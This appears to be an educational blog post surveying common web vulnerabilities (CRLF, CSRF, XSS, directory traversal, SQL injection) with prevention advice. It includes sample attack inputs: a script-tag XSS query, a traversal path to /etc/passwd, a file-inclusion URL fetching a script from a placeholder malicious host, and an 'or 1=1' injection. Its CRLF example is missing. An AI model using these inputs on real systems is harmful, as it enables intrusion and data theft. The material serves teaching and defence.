How the web works

We start from the web browser, which is capable of rendering the web page by parsing HTML and CSS tags.

The browser is also capable of executing Javascript code, which can modify the underlying structure of a website.

When the browser is open and you insert a URL into the address bar, a request is sent to that web server, in order to get the information from it (webpage) and to further render it.

For example:

If the request is towards thesenioritybook.com/blog, the webpage will return the resource that is aliased towards that URL.

If the request is towards the domain itself (thesenioritybook.com), the webpage will return the resource to index.html page, which is the default name if not specified

The web server will find the resource (if exists) and sends back a response to the browser.

The browser will then parse the response and will render it to the user.

Web vulnerabilities

Web vulnerabilities are weaknesses in a website or web application code that allow attackers to gain control of the site. Most of the attacks are exploited by using tools that scan for such vulnerabilities.

CRLF Injection (HTTP Response splitting)

CRLF refers to the special characters CR (Carriage Return) and LF (Line Feed). These two tags signify an end of line marker, and many protocols such as HTTP or MIME (mail) use CRLF sequences to split the data into elements.

In web applications, this vulnerability injects a CRLF sequence into a HTTP stream.

Because such split could not be intended or handled by the web application, it can result in a security breach, in which the attacker can set arbitrary headers, take control of the body content, or break the response into two or more responses.

Example of using such vulnerability by breaking the response:

Luckily for web developers, CRLF vulnerabilities are easy to prevent.

The fix is to never trust the user input – all the data supplied by the user should be sanitized first.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery is an attack in which a website will send a request to a web application in which the user is already authenticated.

For example:

if you’re authenticated on webpage A (legit), and you open webpage B (corrupt/malicious), B can redirect you to:

                                            
                                                A/sendMoney&source=
                                                mainAccount&destination=
                                                123456&amount=
                                                10000&confirm=true.
                                            
                                        

The most common way of preventing such attacks is for webpages to use CSRF tokens with each request, so the valid page can recognize the origin of the request.

An example would be that the transfer request is using another argument, which is a token that changes each time they send the page to anyone, so it cannot be used by an attacker.

The transfer link will look like this:

                                            
                                                mainAccount&destination=
                                                123456&amount=
                                                10000&confirm=true&token=
                                                136906b1053ee52
                                                eb01e748aa0445c5626eb
                                                138b6d6909a31db7900a59726ef.
                                            
                                        

The scripts that are executed on page B does not have access to the token from page A, mainly because of the HTTP access control, therefore cannot fetch it and use it for undesired actions.

Cross-Site Scripting (XSS)

XSS is one of the most common web attacks, and the concept behind it is to manipulate client-side scripts to execute unwanted code. In XSS attacks, the victim is not the application, but the user, because the code is executed locally.

Through XSS, attackers can steal accounts, access browser history and steal passwords, control the browser remotely, and so on.

XSS Vulnerabilities can occur if the input for the web is not validated, or if the output to the browser is not html encoded.

Let’s assume we have a search engine, and we query for "XSS": the URL will look more or less like this:

                                            
                                                http://search-engine.example/search?query=XSS
                                            
                                        

and we display the following paragraph to the user:

                                            
                                                The following results were found for ‘$search_query’:
                                            
                                        

so we can see, in the end, the following sentence:

                                            
                                                The following results were found for ‘XSS’:
                                            
                                        

If the input is not validated, filtered, and escaped, an attacker could inject code in the search area in our engine, such as the following:

                                            
                                                search?query=XSS+%3Cscript%3Esome_script()%3C/script%3E
                                            
                                        

This will translate into the following code:

                                            
                                                The following results were found for ‘XSS <script>some_script()</script>’
                                            
                                        

Directory Traversal

Directory Traversal is a HTTP exploit which allows an attacker to gain unauthorized access to directories and files that are otherwise restricted.

Attackers can exploit vulnerabilities in the code by sending URLs that request the server to return specific files.

The first step is for the attacker to find a URL in which the application retrieves a file from the server.

Once that URL is found, they can modify the string with the path they want to access, usually through ‘../’ (or %2e%2e/) directive, which is used to specify to the server to fetch a file from the parent directory, thus reaching a place they should not have access.

Let’s say we have the following folders and files:

                                            
                                                http://some-page.example/get-file..asp?page=index.html
                                            
                                        

If the path is not sanitized, an attacker can traverse the folder using ... to access the parent until they reach root, and from there they can access any file.

Let's assume the web page is on linux, so we want to read from /etc/passwd

                                            
                                            http://some-page.example/get-file..asp?page=/../../../../etc/passwd
                                            
                                        

We can also use this to include files and scripts from malicious websites:

                                            
                                                http://some-page.example/get-file..asp?page=http://malicious-page.example/some_script.php
                                            
                                        

A way to prevent this exploit is to validate user input, and block URLs containing commands and escape codes that are common to attackers.

Failure to Restrict URL Access

Failure to restrict URL Access occurs when there’s an error in the access-control settings, in which users can access pages or files that are supposed to be restricted, such as admin pages, or files that display server logs or configurations.

The most usual way attackers try this vulnerability is by doing a ‘forced browsing’, in which attackers guess the URL or use brute force to guess pages.

Insecure Cryptographic Storage

Insecure Cryptographic Storage occurs when the sensitive data is not stored securely (in temporary, hidden, or registry files), either because no encryption is set in place, or because the algorithms that encrypt the data are unreliable.

A way to prevent this exploit is to identify all sensitive data and encrypt it, and overwrite the locations with random data as soon as they are no longer needed.

Insufficient Transport Layer Protection

Insufficient Transport Layer Protection is a security weakness in which web applications do not protect the network traffic. Even if the traffic is protected/encrypted during authentication, the session id could then be further used in unprotected communication with the server.

The problem is that session id is sensitive data and can be intercepted in unprotected communications.

A way to prevent this exploit is to require SSL for all sensitive pages, or to flag all sensitive cookies as secure.

SQL Injection

SQL Injection is an attack in which hackers place code in data/web forms fields, which are then further used by the server to concatenate as a database SQL command.

After a successful exploit, the hacker may get access to all the usernames or passwords within a system, or create administrator accounts for them to use further.

Therefore, SQL Injection is a major security breach.

An example would be when we have a function that filters based on a parameter received by the user:

                                            
                                                string query = 'select data1, data2 FROM table WHERE id = ' + request.getParameter('param_id');
                                            
                                        

The application expects the input field to enter something like a number, such as 123, so the query will be the following:

                                            
                                                select data1, data2 FROM table WHERE id = 123
                                            
                                        

An attacker could change the parameter to be '123 or 1=1', so the query will be the following:

                                            
                                                select data1, data2 FROM table WHERE id = 123 or 1=1
                                            
                                        

Therefore, we will get all the entries where id is 123 or True, so the filter does not apply properly.

if we have in database id=124, we will have id=124 different than 123, but 1 is equals to 1 so we will fetch this.

This will lead in receiving a list with all the items from the database.

A way to prevent this exploit is to use prepared statements, in which the input is separated from the command.

If the id would be “123 or 1=1”, the query will not be vulnerable because it will simply look for the id equal to ‘123 or 1=1’, which is not an integer and therefore the query could simply be rejected.